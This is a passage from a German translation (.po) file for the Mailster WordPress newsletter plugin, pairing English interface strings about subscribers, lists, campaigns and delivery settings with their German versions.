msgstr "Updates sind wichtig um in den Genuss von neuen Features und Sicherheitsupdates zu kommen. Eine veraltete Version kann immer Sicherheitslücken enthalten."

#: views/settings/subscribers.php:13 views/settings/subscribers.php:32
msgid "daily"
msgstr "täglich"

#: views/lists/detail.php:91
msgid "%s Subscriber"
msgid_plural "%s Subscribers"
msgstr[0] "%s Abonnent"
msgstr[1] "%s Abonnenten"

#: views/settings/texts.php:23
msgid "Define texts for the labels of forms. Custom field labels can be defined on the Subscribers tab"
msgstr "Bestimme Texte für die Felder der Formulare. Benutzerfelder können im Abonnentenreiter bestimmt werden"

#: views/forms/detail.php:343
msgid "List Options"
msgstr "Listenoptionen"

#: views/forms/overview.php:7 views/lists/overview.php:7
#: views/subscribers/overview.php:21
msgid "Search result for %s"
msgstr "Suchergebnis für %s"

#: classes/templates.class.php:1504 classes/templates.class.php:1506
#: classes/manage.class.php:1459 classes/manage.class.php:1461
#: views/manage.php:41
msgid "Upload"
msgstr "Hochladen"

#: classes/template.class.php:893
msgid "dark"
msgstr "dunkel"

#: classes/template.class.php:475 classes/template.class.php:476
#: classes/template.class.php:477 classes/template.class.php:478
#: classes/template.class.php:479 classes/template.class.php:480
#: classes/template.class.php:481 classes/template.class.php:482
msgctxt "common module name"
msgid "%s Text"
msgstr "%s Text"

#: views/settings/texts.php:37
msgid "Define texts for the mails"
msgstr "Bestimme die Texte in E-Mails"

#: classes/lists.class.php:213
msgid "List added"
msgstr "Liste hinzugefügt"

#: classes/settings.class.php:1591
msgid "Secure connection"
msgstr "Sichere Verbindung"

#: classes/mailster.class.php:1369
msgid "Use %s as your delivery method"
msgstr "Verwende %s als deine Versendemethode"

#: classes/campaigns.class.php:739 includes/autoresponder.php:8
#: views/newsletter/delivery.php:232 views/newsletter/delivery.php:370
msgid "day(s)"
msgstr "Tag(e)"

#: classes/template.class.php:456 classes/template.class.php:458
#: classes/template.class.php:460
msgctxt "common module name"
msgid "%s Text Invert"
msgstr "%s Text invertiert"

#: views/forms/detail.php:103
msgid "Define the structure of your form below. Drag available fields in the left area to add them to your form. Rearrange fields by dragging fields around"
msgstr "Bestimme die Struktur deines Formulars. Ziehe die verfügbaren Felder in das linke Feld. Um Felder zu sortieren, ziehe diese an einen neuen Platz"

#: views/newsletter/receivers.php:39
msgid "List doesn't matter"
msgstr "Liste spielt keine Rolle"

#: classes/campaigns.class.php:1186
msgid "See stats of Campaign %s"
msgstr "Zeige Statistiken der Kampagne %s"

#: views/settings/authentication.php:29
msgid "Use DomainKeys Identified Mail"
msgstr "Verwende DomainKeys Identified Mail"

#: classes/campaigns.class.php:869
msgid "deactivate"
msgstr "deaktivieren"

#: classes/subscribers.class.php:2905 classes/subscribers.class.php:2906
#: classes/subscribers.class.php:2933 classes/subscribers.class.php:2942
#: views/settings/privacy.php:30 views/settings/cron.php:90
#: views/lists/detail.php:145 views/subscribers/detail.php:154
#: views/subscribers/detail.php:168 views/subscribers/detail.php:179
#: views/subscribers/detail.php:435
msgid "%s ago"
msgstr "vor %s"

#: classes/manage.class.php:353
msgid "Define which column represents which field"
msgstr "Bestimme welche Spalte welches Feld sein soll"

#: classes/lists.class.php:345
msgid "List failed verification"
msgstr "Liste konnte nicht verifiziert werden"

#: classes/lists.class.php:280
msgid "Segment #%d"
msgstr "Segment #%d"

#: classes/forms.class.php:1456
msgid "Use Form Default"
msgstr "vom Formular bestimmt"

#: views/settings/general.php:58
msgid "Decide how Mailster uses the wp_mail function."
msgstr "Entscheide wie Mailster die wp_mail function verwendet."

#: views/settings/bounce.php:76
msgid "%s attempts to deliver message until hardbounce"
msgstr "%s Versuche die Nachricht zu versenden bevor diese endgültig als unzustellbar markiert wird"

#: classes/forms.table.class.php:212 classes/subscribers.table.class.php:274
#: classes/lists.table.class.php:159 views/manage.php:29
#: views/templates/installed-template.php:94
msgid "Delete"
msgstr "Löschen"

#: classes/ajax.class.php:2142
msgid "List has been created"
msgstr "Liste wurde erstellt"

#: classes/lists.class.php:291
msgid "Segment created by %s"
msgstr "Segment erstellt von %s"

#: views/settings/template.php:62
msgid "Use High DPI or retina ready images if available."
msgstr "Verwende High DPI (Retina Ready) Bilder wenn möglich."

#: classes/widget.class.php:540 classes/settings.class.php:392
#: views/settings/subscribers.php:106
msgid "default"
msgstr "standard"

#: classes/campaigns.class.php:3797
msgid "%s bounce"
msgid_plural "%s bounces"
msgstr[0] "%s unzustellbar"
msgstr[1] "%s unzustellbar"

#: views/newsletter/submit.php:39
msgid "Delete Permanently"
msgstr "Dauerhaft löschen"

#: classes/lists.class.php:213
msgid "List saved"
msgstr "Liste gespeichert"

#: classes/lists.class.php:272
msgid "Segments"
msgstr "Segmente"

#: views/setup.php:117
msgid "Use High DPI version if available."
msgstr "Verwende High DPI (Retina Ready) Bilder wenn möglich."

#: views/settings/delivery.php:71
msgid "define a delay between mails in milliseconds if you have problems with sending two many mails at once"
msgstr "bestimme eine Verzögerung in Millisekunden falls du Probleme beim Versenden von zu vielen E-Mails auf einmal hast"

#: classes/campaigns.class.php:3794 classes/subscribers.class.php:2926
#: classes/ajax.class.php:920
msgid "%s click"
msgid_plural "%s clicks"
msgstr[0] "%s Klick"
msgstr[1] "%s Klicks"

#: views/settings/wordpress-users.php:67 views/subscribers/detail.php:68
msgid "Delete Subscriber"
msgstr "Abonnent löschen"

#: views/manage.php:306
msgid "Listnames"
msgstr "Listennamen"

#: classes/templates.class.php:1495 classes/manage.class.php:1452
msgid "Select File"
msgstr "Datei auswählen"

#: views/settings/general.php:62
msgid "Use Mailster for all outgoing WordPress mails"
msgstr "Verwende Mailster für alle emails die du mit Wordpress versendest"

#: views/forms/detail.php:114 views/forms/detail.php:147
msgid "define a label for this field"
msgstr "bestimme die Bezeichnung für dieses Feld"

#: classes/manage.class.php:413
msgid "%s contacts are hidden"
msgstr "%s Kontakte wurden ausgeblendet"

#: views/settings/wordpress-users.php:69
msgid "Delete Subscriber if the WordPress User gets deleted"
msgstr "Lösche Abonnenten wenn der WordPress Benutzer gelöscht wird"

#: classes/forms.class.php:279 classes/settings.class.php:246
#: classes/notification.class.php:714 classes/subscribers.class.php:141
#: classes/lists.class.php:21 classes/manage.class.php:347
#: classes/manage.class.php:944 classes/lists.table.class.php:14
#: classes/form.class.php:474 includes/updates.php:42
#: views/settings/texts.php:28 views/lists/overview.php:2 views/manage.php:174
#: views/manage.php:386 views/dashboard/mb-quicklinks.php:37
#: views/subscribers/detail.php:253 views/newsletter/receivers.php:67
msgid "Lists"
msgstr "Listen"

#: classes/helper.class.php:821 classes/campaigns.class.php:1388
msgid "Select Image"
msgstr "Bild wählen"

#: views/settings/delivery.php:76
msgid "define a maximum execution time to prevent server timeouts. If set to zero, no time limit is imposed."
msgstr "bestimme eine max. Ausführungzeit um Servertimeouts zu verhindern. Bei Null wird kein Zeitlimit gesetzt"

#: classes/campaigns.class.php:1363
msgid "%s does not contain a valid image"
msgstr "%s entält kein gültiges Bild"

#: views/manage.php:13
msgid "Delete Subscribers"
msgstr "Abonnenten Löschen"

#: classes/lists.class.php:162
msgid "Lists have been merged. Please update your %s if necessary!"
msgstr "Listen wurden zusammengeführt. Bitte aktualisiere deine %s!"

#: views/newsletter/editbar.php:215
msgid "Select a post"
msgstr "Artikel auswählen"

#: views/newsletter/delivery.php:72 views/newsletter/delivery.php:202
#: views/newsletter/delivery.php:258 views/newsletter/delivery.php:423
msgid "Use Subscribers timezone"
msgstr "Benutze Zeitzonen der Abonnenten"

#: views/forms/detail.php:121 views/forms/detail.php:154
msgid "define an error message for this field"
msgstr "Bestimme die Fehlermeldung für dieses Feld"

#: classes/notification.class.php:1045
msgid "%s has canceled"
msgstr "%s hat sich abgemeldet"

#: views/manage.php:419
msgid "Delete Subscribers permanently"
msgstr "Lösche Abonnenten"

#: classes/manage.class.php:352
msgid "Select columns"
msgstr "Spalten auswählen"

#: views/settings/tags.php:77
msgid "Use a fallback for dynamic image tags if the image doesn't exist."
msgstr "Verwende diese Bild falls in einem dynamischen tag eines nicht verfügbar ist."

#: classes/notification.class.php:682
msgid "%s has joined"
msgstr "%s hat sich angemeldet"

#: views/settings/wordpress-users.php:73
msgid "Delete WordPress User"
msgstr "WordPress User löschen"

#: views/templates.php:44
msgid "Select template file"
msgstr "Wähle eine Templatedatei"

#: views/settings/template.php:17
msgid "Use a logo for new created campaigns"
msgstr "Verwende ein Logo für neue Kampagnen"

#: views/forms/detail.php:62
msgid "Delete Form"
msgstr "Formular löschen"

#: classes/settings.class.php:402
msgid "%s is a reserved tag!"
msgstr "%s ist ein reservierter Tag"

#: views/settings/wordpress-users.php:83
msgid "Delete WordPress User if the Subscriber gets deleted"
msgstr "lösche den WordPress User wenn der Abonnent gelöscht wird"

#: classes/settings.class.php:398
msgid "Loading"
msgstr "Lade"

#: views/forms/detail.php:271
msgid "Selector Prefix"
msgstr "Selector Prefix"

#: views/settings/cron.php:18
msgid "Use a real cron to send newsletters"
msgstr "Benutze einen echten Cron Dienst um Newsletter zu senden"

#: views/lists/detail.php:57
msgid "Delete List"
msgstr "Liste löschen"

#: classes/ajax.class.php:1631
msgid "%s is forwarding an email to you!"
msgstr "%s hat Ihnen eine E-Mail weitergeleitet"

#: views/settings/bounce.php:57
msgid "Delete messages"
msgstr "Nachrichten löschen"

#: classes/mailster.class.php:1367
msgid "Loading Languages"
msgstr "Lade Sprachen"

#: classes/settings.class.php:1621
msgid "Self Signed Certificates"
msgstr "Eigene Zertifikate"

#: classes/forms.class.php:1383
msgid "Use a shortcode on a blog post, page or wherever they are excepted."
msgstr "Verwende einen Shortcode in Beiträgen, Seiten oder überall wo sie akzeptiert werden."

#: views/lists/detail.php:60
msgid "Delete List with Subscribers"
msgstr "Liste mit allen Abonnenten löschen"

#: classes/forms.class.php:1107
msgid "%s is missing"
msgstr "%s fehlt"

#: views/settings/bounce.php:58
msgid "Delete messages without tracking code to keep postbox clear (recommended)"
msgstr "Andere Nachrichten ohne Trackingcode in diesem Postfach löschen (empfohlen)"

#: views/subscribers/detail.php:346
msgid "Local Time"
msgstr "Lokale Zeit"

#: views/settings/general.php:20
msgid "Send Campaigns based on the subscribers timezone if known"
msgstr "Sende Kampagnen basierend auf die Zeitzone der Abonnenten "

#: classes/manage.class.php:454
msgid "Use a signup date if not defined"
msgstr "Verwende ein Anmeldedatum falls nicht definiert"

#: classes/campaigns.class.php:1373
msgid "Delete this color schema?"
msgstr "Dieses Farbschema löschen?"

#: classes/conditions.class.php:128 classes/subscribers.class.php:1519
msgid "Location"
msgstr "Ort"

#: views/settings/delivery.php:80 views/settings/delivery.php:84
#: views/settings/advanced.php:54 views/settings/advanced.php:58
#: views/newsletter/delivery.php:545 views/newsletter/delivery.php:548
msgid "Send Test"
msgstr "sende Test"

#: classes/templates.class.php:709 views/templates/installed-template.php:79
msgid "Use as default"
msgstr "Als Standard"

#: views/newsletter/options.php:68
msgid "Delete all custom schemas"
msgstr "Alle Farbschemas löschen"

#: classes/settings.class.php:782
msgid "%s is not a valid email address"
msgstr "%s ist keine gültige E-Mailadresse"

#: classes/lists.table.class.php:160
msgid "Delete with subscribers"
msgstr "mit allen Abonnenten löschen"

#: views/settings/template.php:16 views/setup.php:113
msgid "Logo"
msgstr "Logo"

#: views/settings/subscribers.php:24
msgid "Send a notification if subscribers cancel their subscription to following receivers (comma separated)"
msgstr "Sende eine Benachrichtigung falls ein Abonnent sich abmeldet zu folgenden Adressen (durch Komma getrennt)"

#: views/manage.php:108
msgid "Use following meta values"
msgstr "Verwende folgende Metadaten"

#: includes/capability.php:16
msgid "delete campaigns"
msgstr "Kampagnen löschen"

#: classes/campaigns.class.php:976 classes/campaigns.class.php:999
msgid "%s of opens"
msgstr "%s der geöffneten"

#: classes/campaigns.class.php:276 views/settings.php:42 views/setup.php:26
#: views/setup.php:241
msgid "Delivery"
msgstr "Versand"

#: views/templates.php:115
msgid "Looks like there was a problem getting the list of templates"
msgstr "Es gab ein Problem beim Laden der Templates"

#: views/settings/subscribers.php:6
msgid "Send a notification of new subscribers to following receivers (comma separated)"
msgstr "Sende eine Benachrichtigung über neue Abonnenten an folgende Empfänger (durch Komma getrennt)"

#: includes/capability.php:97
msgid "delete forms"
msgstr "Formular löschen"

#: classes/campaigns.class.php:956 classes/campaigns.class.php:973
#: classes/campaigns.class.php:980 classes/campaigns.class.php:996
#: classes/campaigns.class.php:1003
msgid "%s of sent"
msgstr "%s der gesendeten"

#: views/settings/delivery.php:103
msgid "Delivery Method"
msgstr "Sendemethode"

#: views/settings/cron.php:61
msgid "Looks like your Cron Lock is still in place after %1$s! Read more about why this can happen %2$s."
msgstr "Es scheint der Cron Lock ist nach %1$s noch immer aktiv! Lies %2$s mehr warum das passieren kann."

#: views/settings/general.php:15
msgid "Send delay"
msgstr "Sendeverzögerung"

#: views/forms/detail.php:80
msgid "Use it!"
msgstr "Use it!"

#: includes/capability.php:138
msgid "delete lists"
msgstr "Listen löschen"

#: classes/campaigns.class.php:1017
msgid "%s of totals"
msgstr "%s der gesamten"

#: views/setup.php:59
msgid "Delivery Options"
msgstr "Sendeoptionen"

#: views/newsletter/delivery.php:515
msgid "Low"
msgstr "Niedrig"

#: views/settings/cron.php:11
msgid "Send emails at most every %1$s minutes"
msgstr "Sende Nachrichten höchstens alle %1$s Minuten"

#: views/settings/template.php:29
msgid "Use links to your social account in your campaigns"
msgstr "Verwende links von Social Media Accounts in deinen Kampagnen"

#: includes/capability.php:26
msgid "delete others campaigns"
msgstr "Kampagnen anderer löschen"

#: classes/notification.class.php:885 classes/notification.class.php:1173
msgid "%s other"
msgid_plural "%s others"
msgstr[0] "%s anderer"
msgstr[1] "%s andere"

#: views/settings/general.php:19
msgid "Delivery by Time Zone"
msgstr "Versand nach Zeitzone"

#: classes/template.class.php:450
msgctxt "common module name"
msgid "Macbook Promotion"
msgstr "Macbook Promotion"

#: views/settings/general.php:63
msgid "Use only the template for all outgoing WordPress mails"
msgstr "Verwende nur das Template für alle WordPress E-Mails"

#: includes/capability.php:82
msgid "delete subscribers"
msgstr "Abonnenten löschen"

#: classes/campaigns.class.php:1375
msgid "%s out of 10"
msgstr "%s von 10"

#: views/settings/delivery.php:5
msgid "Depending on your hosting provider you can increase these values"
msgstr "Abhängig von deinem Provider kannst du diese Werte erhöhen"

#: views/settings/texts.php:37
msgid "Mail"
msgstr "E-Mail"

#: views/settings/delivery.php:4
msgid "Send max %1$s emails at once and max %2$s within %3$s hours"
msgstr "Sende max %1$s E-Mails auf einmal und max %2$s innerhalb %3$s Stunden"

#: views/newsletter/delivery.php:325
msgid "Use the %s tag to display the current issue in the campaign"
msgstr "Verwende den %s Platzhalter um die aktuelle Ausgabe in der Kampagne anzuzeigen"

#: includes/capability.php:160
msgid "delete templates"
msgstr "Templates löschen"

#: classes/subscribers.class.php:2940 classes/subscribers.class.php:2946
msgid "%s soft bounce"
msgid_plural "%s soft bounces"
msgstr[0] "%s temporär unzustellbar"
msgstr[1] "%s temporär unzustellbar"

#: views/settings/template.php:68
msgid "Depending on your used template these features may not work!"
msgstr "Abhängig von deinem verwendetem Template funktioniert diese Feature vielleicht nicht!"

#: views/lists/detail.php:116
msgid "Mail sent"
msgid_plural "Mails sent"
msgstr[0] "Nachricht gesendet"
msgstr[1] "Nachrichten gesendet"

#: views/settings/cron.php:17
msgid "Use the wp_cron function to send newsletters"
msgstr "Benutze die wp_cron Funktion um Newsletter zu senden"

#: views/newsletter/details.php:131 views/newsletter/details.php:138
#: views/newsletter/details.php:146 views/newsletter/details.php:163
#: views/newsletter/details.php:201
msgid "details"
msgstr "Details"

#: classes/subscribers.class.php:298
msgid "%s subscriber has been verified!"
msgid_plural "%s subscribers have been verified!"
msgstr[0] "%s Abonnent wurde verifiziert!"
msgstr[1] "%s Abonnenten wurden verifiziert!"

#: classes/privacy.class.php:164 classes/lists.class.php:46
#: views/lists/detail.php:78
msgid "Description"
msgstr "Beschreibung"

#: classes/subscribers.table.class.php:275 classes/lists.table.class.php:164
msgid "Send new Campaign"
msgstr "Neu Kampagne senden"

#: views/settings/manage-settings.php:5
msgid "Use this data to copy your settings between Mailster installations. This data contains sensitive information like passwords so don't share them. Capabilities are not included."
msgstr "Verwende diese Daten um deine Einstellungen zwischen zwei Mailster Installationen zu kopieren. Diese Daten enthalten sicherheitsrelevante Informationen und sollten wie Passwörter behandelt werden. Rechte werden nicht exportiert."

#: views/settings/general.php:44
msgid "disabled"
msgstr "deaktiviert"

#: classes/subscribers.class.php:294
msgid "%s subscriber has not been verified!"
msgid_plural "%s subscribers have not been verified!"
msgstr[0] "%s Abonnent wurde nicht verifiziert!"
msgstr[1] "%s Abonnenten wurden nicht verifiziert!"

#: classes/tinymce.class.php:195 classes/widget.class.php:538
#: classes/forms.table.class.php:120 views/forms/detail.php:88
#: views/forms/detail.php:100 views/forms/detail.php:166
msgid "Design"
msgstr "Design"

#: classes/mailster.class.php:1184
msgid "Mailster Setup"
msgstr "Mailster Setup"

#: views/newsletter/submit.php:87 views/newsletter/submit.php:143
#: views/newsletter/submit.php:176 views/single-newsletter.php:124
msgid "Send now"
msgstr "Jetzt senden"

#: classes/forms.class.php:1386
msgid "Use this form as a %s in one of your sidebars"
msgstr "Verwende dieses Formular als %s in einer deiner Seitenleisten"

#: classes/manage.class.php:182
msgid "display name"
msgstr "Öffentlicher Name"

#: classes/manage.class.php:1328
msgid "%s Subscriber removed"
msgid_plural "%s Subscribers removed"
msgstr[0] "%s Abonnent entfernt"
msgstr[1] "%s Abonnenten entfernt"

#: views/conditions/conditions.php:210 views/newsletter/details.php:154
msgid "Desktop"
msgstr "Desktop"

#: classes/tinymce.class.php:147
msgid "Mailster Tags"
msgstr "Mailster Tags"

#: views/newsletter/delivery.php:71 views/newsletter/delivery.php:201
#: views/newsletter/delivery.php:257 views/newsletter/delivery.php:422
msgid "Send this campaign based on the subscribers timezone if known"
msgstr "Sende diese Kampagne - fallse bekannt - basierend auf die Zeitzone der Abonnenten"

#: views/settings/manage-settings.php:27
msgid "Use this options to reset the data to Mailster default values."
msgstr "Verwende diese Option um die die Standardwerte für Mailster wieder herzustellen."

#: views/settings/tags.php:52 views/settings/tags.php:53
#: views/settings/tags.php:54 views/settings/tags.php:55
msgid "displays %1$s to share the newsletter via %2$s"
msgstr "zeige %1$s um den Newsletter mit %2$s zu teilen"

#: classes/ajax.class.php:920
msgid "%s unique"
msgstr "%s eindeutige"

#: classes/campaigns.class.php:273
msgid "Details"
msgstr "Details"

#: classes/templates.class.php:1474
msgid "Mailster Template ZIP file"
msgstr "Mailster Template ZIP Datei"

#: views/setup.php:487
msgid "Send your latest posts automatically"
msgstr "Sende deine letzten Beiträge automatisch"

#: classes/forms.class.php:1402
msgid "Use this shortcode wherever they are excepted."
msgstr "Verwende diesen Shortcode überall dort wo er akzeptiert wird"

#: views/settings/tags.php:64
msgid "displays the feature image of the fourth latest posts. Uses the image with ID 23 if the post doesn't have a feature image"
msgstr "zeigt das Artikelbild des viertletzten Artikels. Verwendet das Bild mit der ID 23 falls der Artikel kein Bild hat"

#: views/dashboard/mb-subscribers.php:10
msgid "1 year"
msgstr "1 Jahr"

#: classes/notification.class.php:265
msgid "Mailster Test Email"
msgstr "Mailster Test Nachricht"

#: classes/campaigns.class.php:3714
msgid "Sent Date"
msgstr "Sendedatum"

#: classes/forms.class.php:248 views/forms/detail.php:438
msgid "Use your form as"
msgstr "Verwende dein Formular als"

#: views/settings/tags.php:63
msgid "displays the feature image of the latest posts"
msgstr "zeigt das Artikelbild des letzten Artikels"

#: views/dashboard/mb-subscribers.php:9
msgid "3 month"
msgstr "3 Monate"

#: views/settings/advanced.php:14
msgid "Disable Object Cache for Mailster"
msgstr "Objektcache für Mailster deaktivieren"

#: views/dashboard.php:66
msgid "Mailster comes with %1$s extensions and supports %2$s premium templates. Get the most out of your email campaigns and start utilizing the vast amount of add ons."
msgstr "Mailster hat %1$s Erweiterungen und unterstützt %2$s Premium Templates. Hol das Beste aus deinen Kampagnen heraus und verwende diese Plugins."

#: classes/mail.class.php:160 classes/campaigns.class.php:4161
msgid "Sent limit of %1$s reached! You have to wait %2$s before you can send more mails!"
msgstr "Sendelimit von %1$s erreicht! Du musst noch %2$s warten bis du wieder mehr E-Mails verschicken kannst!"

#: classes/forms.class.php:1392
msgid "Use your form via the HTML markup. This is often required by third party plugins. You can choose between an iframe or the raw HTML."
msgstr "Verwende dein Formular mittels HTML Markup. Dies wird oft von anderen Plugins verlangt. Du kannst zwischen iFrame oder einfaches HTML wählen."

#: views/settings/tags.php:62
msgid "displays the fourth latest page title"
msgstr "zeigt den viertletzten Artikel"

#: views/dashboard/mb-subscribers.php:8
msgid "30 days"
msgstr "30 Tage"

#: views/settings/frontend.php:47
msgid "Discourage search engines from indexing your campaigns"
msgstr "Suchmaschinen davon abhalten, diese Website zu indexieren"

#: includes/functions.php:1137
msgid "Mailster has been updated to %s."
msgstr "Mailster wurde auf Version %s aktualisiert."

#: classes/template.class.php:446
msgctxt "common module name"
msgid "Separator"
msgstr "Unterteiler"

#: classes/tinymce.class.php:98 views/subscribers/detail.php:417
msgid "User"
msgstr "Benutzer"

#: views/settings/tags.php:41
msgid "displays the last tweet from Twitter user [username] (cache it for %s minutes)"
msgstr "zeigt den letzten Tweet von Twitteruser [username] (wird für %s minuten zwischengespeichert)"

#: views/dashboard/mb-subscribers.php:7
msgid "7 days"
msgstr "7 Tage"

#: classes/mailster.class.php:389
msgid "Dismiss this notice (Alt-click to dismiss all notices)"
msgstr "Meldung verwerfen (Alt-Klick um alle Meldungen zu verwerfen)"

#: classes/ajax.class.php:2454
msgid "Mailster is available in your language!"
msgstr "Mailster ist in deiner Sprache verfügbar!"

#: classes/conditions.class.php:140
msgid "User Level"
msgstr "Benutzer Level"

#: views/settings/tags.php:61
msgid "displays the latest post title"
msgstr "zeigt den letzten Artikel"

#: views/settings/cron.php:72
msgid "A Cron Lock ensures your cron is not overlapping and causing duplicate emails. Select which method you like to use."
msgstr "Ein Cron Lock stellt sicher, dass das sich zwei Prozesse nicht überschneiden und verhindert somit doppelt gesendete E-mails. Wähle die Methode, die du verwenden möchtest."

#: classes/widget.class.php:399
msgid "Display a button to let users subscribe"
msgstr "Benutze einen Button mit dem Besucher sich anmelden können"

#: classes/queue.class.php:1151
msgid "Mailster is not able to send your campaign cause of a server timeout. Please increase the %1$s on the %2$s"
msgstr "Mailster kann deine Kampagnen wegen eines Server Timeouts nicht senden. Bitte erhöhe die %1$s in the %2$s"

#: classes/template.class.php:447
msgctxt "common module name"
msgid "Separator with button"
msgstr "Unterteiler mit Button"

#: classes/lists.class.php:793
msgid "A merged list of"
msgstr "Eine zusammengeführte Liste von"

#: classes/tinymce.class.php:193 classes/forms.class.php:1461
msgid "Display subscriber count"
msgstr "Zeigen Abonenntenanzahl"

#: classes/ajax.class.php:2459
msgid "Mailster is not available in your languages!"
msgstr "Mailster is leider nicht in deiner Sprache erhältlich!"

#: views/settings/bounce.php:33
msgid "Server Address : Port"
msgstr "Server Adresse : Port"

#: views/subscribers/detail.php:87
msgid "User Rating"
msgstr "Benutzerbewertung"

#: views/dashboard/mb-mailster.php:50
msgid "A new Version is available"
msgstr "Eine neue Version is verfügbar"

#: classes/widget.class.php:128
msgid "Display the most recent newsletters"
msgstr "Zeigt die letzten Newsletter"

#: views/setup.php:187
msgid "Mailster needs a Newsletter Homepage were users can subscribe, update and unsubscribe their subscription. It's a regular page with some required shortcodes."
msgstr "Mailster braucht eine Newsletter Homepage bei der sich Benutzer an- und abmelden und ihre Profil aktualisieren können. Es ist eine normale Seite mit speziellen Shortcodes."

#: views/newsletter/delivery.php:40
msgid "Server time: %1$s %2$s"
msgstr "Serverzeit: %1$s %2$s"

#: classes/conditions.class.php:141
msgid "User Role"
msgstr "Benutzerrolle"

#: classes/settings.class.php:255
msgid "A new confirmation message has been sent"
msgstr "Eine neue Bestätigungsnachricht wurde gesendet"

#: classes/widget.class.php:271
msgid "Display the number of your Subscribers"
msgstr "Zeige die Anzahl deiner Abonnenten"

#: views/setup.php:52
msgid "Mailster needs some essential informations like your personal information and also some legal stuff."
msgstr "Mailster braucht ein paar wichtige Informationen wie deine persönlichen Informationen und ein paar rechtliche Dinge."

#: views/settings/bounce.php:23
msgid "Service"
msgstr "Service"

#: classes/subscribers.class.php:1216
msgid "User doesn't exist!"
msgstr "Benutzer existiert nicht!"

#: classes/notification.class.php:159
msgid "A new user has subscribed to your newsletter!"
msgstr "Ein neuer Benutzer hat sich zu deinem Newsletter angemeldet!"

#: views/newsletter/optionbar.php:23
msgid "Distraction-free edit mode"
msgstr "Störungsfreier Modus"

#: views/settings/delivery.php:67
msgid "Mailster will change the status to \"pause\" if an error occur otherwise it tries to finish the campaign"
msgstr "Mailster wird den Status auf \"pause\" ändern falls ein Fehler Auftritt. Sonst wird versucht die Kampagne zu beenden"

#: views/settings/frontend.php:69
msgid "Services"
msgstr "Services"

#: views/subscribers/detail.php:425
msgid "User has never opened a campaign"
msgstr "Benutzer hat noch nie eine Kampagne geöffnet"

#: views/single-newsletter.php:120
msgid "A personal note to your friend"
msgstr "Eine persönliche Nachricht von Ihnen"

#: views/settings/general.php:61
msgid "Do not use Mailster for outgoing WordPress mails"
msgstr "Mailster nicht für WordPress eigene E-Mails verwenden"

#: views/settings/advanced.php:24
msgid "Mailster will remove all it's data if you delete the plugin via the plugin page."
msgstr "Mailster wird alle Daten entfernen wenn du das Plugin über die Pluginseite löschst."

#: classes/forms.table.class.php:121 classes/settings.class.php:353
#: classes/mailster.class.php:1133 views/forms/detail.php:90
msgid "Settings"
msgstr "Einstellungen"

#: views/subscribers/detail.php:267
msgid "User has not been assigned to a list"
msgstr "Benutzer ist mit keiner Liste verknüpft"

#: classes/campaigns.class.php:3674
msgctxt "segment of all [recipients] from campaign [campaign]"
msgid "A segment of all %1$s of %2$s"
msgstr "Ein Teil aller %1$s von %2$s"

#: views/dashboard/mb-mailster.php:26 views/dashboard/mb-mailster.php:37
msgid "Manage Licenses"
msgstr "Lizenzen verwalten"

#: views/forms/detail.php:159
msgid "Settings Page"
msgstr "Einstellungsseite"

#: classes/campaigns.class.php:4148
msgid "User has not subscribed"
msgstr "Benutzer ist nicht angemeldet"

#: classes/notification.class.php:187
msgid "A user has canceled your newsletter!"
msgstr "Ein Abonnent hat sich von deinem Newsletter abgemeldet!"

#: views/subscribers/overview.php:28
msgid "Do you like to select all %s subscribers?"
msgstr "Willst du wirklich alle %s Abonnenten auswählen?"

#: views/settings.php:49
msgid "Manage Settings"
msgstr "Einstellungen verwalten"

#: classes/settings.class.php:1362
msgid "Settings are the same. Nothing to import!"
msgstr "Einstellungen sind die selben. Import abgebrochen!"

#: classes/settings.class.php:1613 classes/register.class.php:75
#: views/settings/bounce.php:45
msgid "Username"
msgstr "Benutzername"

#: views/settings/tags.php:46
msgid "Access token"
msgstr "Access token"

#: classes/campaigns.class.php:1374
msgid "Do you really like to delete all custom color schema for this template?"
msgstr "Willst du wirklich alle eigenen Farbschemata für dieses Template löschen?"

#: classes/manage.class.php:31 views/manage.php:15
msgid "Manage Subscribers"
msgstr "Abonnenten verwalten"

#: classes/settings.class.php:690
msgid "Settings imported!"
msgstr "Einstellungen wurden importiert!"

#: views/dashboard/mb-mailster.php:15
msgid "Validated!"
msgstr "Validiert!"

#: views/settings/tags.php:47
msgid "Access token Secret"
msgstr "Access token Secret"

#: classes/campaigns.class.php:1222
msgid "Do you really like to finish this campaign?"
msgstr "Möchtest du wirklich die Kampagne beenden"

#: classes/campaigns.class.php:1379
msgid "Many inboxes will refuse this mail!"
msgstr "Viele Postfächer werden dieses Mail ablehenen!"

#: views/setup.php:28 views/setup.php:67 views/setup.php:439
msgid "Validation"
msgstr "Validierung"

#: views/lists/detail.php:140 views/subscribers/detail.php:430
msgid "Action"
msgstr "Aktion"

#: classes/manage.class.php:74
msgid "Do you really like to import these contacts?"
msgstr "Willst du wirklich diese Kontakte importieren?"

#: views/settings/cron.php:104
msgid "Max Execution Time"
msgstr "Max Execution Time"

#: views/single-newsletter.php:80
msgid "Share"
msgstr "Teilen"

#: classes/campaigns.class.php:1042 views/addons.php:67
msgid "Activate"
msgstr "aktivieren"

#: classes/campaigns.class.php:1343
msgid "Do you really like to remove all modules?"
msgstr "Möchtest du wirklich alle Module entfernen?"

#: classes/queue.class.php:1151 views/settings/delivery.php:75
msgid "Max. Execution Time"
msgstr "Max. Ausführungszeit"

#: views/settings/frontend.php:64
msgid "Share Button"
msgstr "Schaltfläche zum Teilen"

#: classes/subscribers.table.class.php:277
msgid "Verify"
msgstr "Verifizieren"

#: views/setup.php:284 views/setup.php:301 views/setup.php:318
#: views/setup.php:335 views/setup.php:352 views/setup.php:369
#: views/setup.php:386
msgid "Activate Plugin"
msgstr "Plugin aktivieren"

#: classes/templates.class.php:561
msgid "Do you really like to remove file %1$s from template %2$s?"
msgstr "Willst du wirklich die Datei %1$s vom Template %2$s löschen?"

#: classes/templates.class.php:1496 classes/manage.class.php:1467
msgid "Maximum upload file size: %s."
msgstr "Maximale Dateigröße eines Uploads: %s"

#: views/single-newsletter.php:137
msgid "Share the link"
msgstr "Teile den Link"

#: classes/register.class.php:61
msgid "Verifying Purchase Code"
msgstr "Lizenzcode überprüfen"

#: classes/mailster.class.php:1372
msgid "Activating Add on"
msgstr "Erweiterung aktivieren"

#: views/forms/detail.php:62
msgid "Do you really like to remove this form?"
msgstr "Willst du dieses Formular wirklich löschen?"

#: views/newsletter/editbar.php:187
msgid "Media Manager"
msgstr "Media Manager"

#: classes/placeholder.class.php:435 classes/template.class.php:273
msgid "Share this on %s"
msgstr "Teil das auf %s"

#: views/welcome.php:9
msgid "Version %s"
msgstr "Version %s"

#: classes/campaigns.class.php:232 classes/campaigns.class.php:234
